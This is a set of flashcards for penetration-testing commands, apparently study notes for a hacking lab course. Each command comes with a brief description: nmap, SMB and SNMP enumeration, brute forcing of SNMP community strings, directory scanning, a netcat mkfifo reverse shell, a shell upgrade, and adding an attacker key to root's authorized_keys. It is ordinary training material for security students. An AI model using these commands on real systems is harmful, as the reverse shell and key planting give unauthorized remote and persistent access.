Commands Flashcards
ifconfig/ip a
Show our IP address
netstat -rn
Show networks accessible
ssh user@10.10.10.10
SSH to a remote server
ftp 10.129.42.253
FTP to a remote server
nmap -sV -sC 10.129.42.253
Run an nmap script scan
nmap –script smb-os-discovery.nse -p445 10.10.10.40
Run the smb os discovery nmap script
smbclient -N -L \\10.129.42.253
List SMB shares with no user
smbclient \\10.129.42.253\users
Connect to the SMB share “Users”
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0
scan SNMP using the ‘public’ community string.
onesixtyone -c dict.txt 10.129.42.254
Bruteforce SNMP community string
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
Simple directory scan using the common.txt wordlist
searchsploit openssh 7.2
search for an openssh 7.2 exploit
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
Creates an interactive reverse shell
python -c ‘import pty; pty.spawn(“/bin/bash”)’
ctrl+z then stty raw -echo then fg then enter twice
How to upgrade a shell into an interactive one using Python
ssh-keygen -f key
Generates a new SSH key
echo “ssh-rsa AAAAB…SNIP…M= user@host”»_space; /root/.ssh/authorized_keys
Adds a generated key into the authorized keys folder.
ssh root@10.10.10.10 -i key
SSH using a key.
python3 -m http.server 8000
Start a python HTTP server that files can be pulled down from.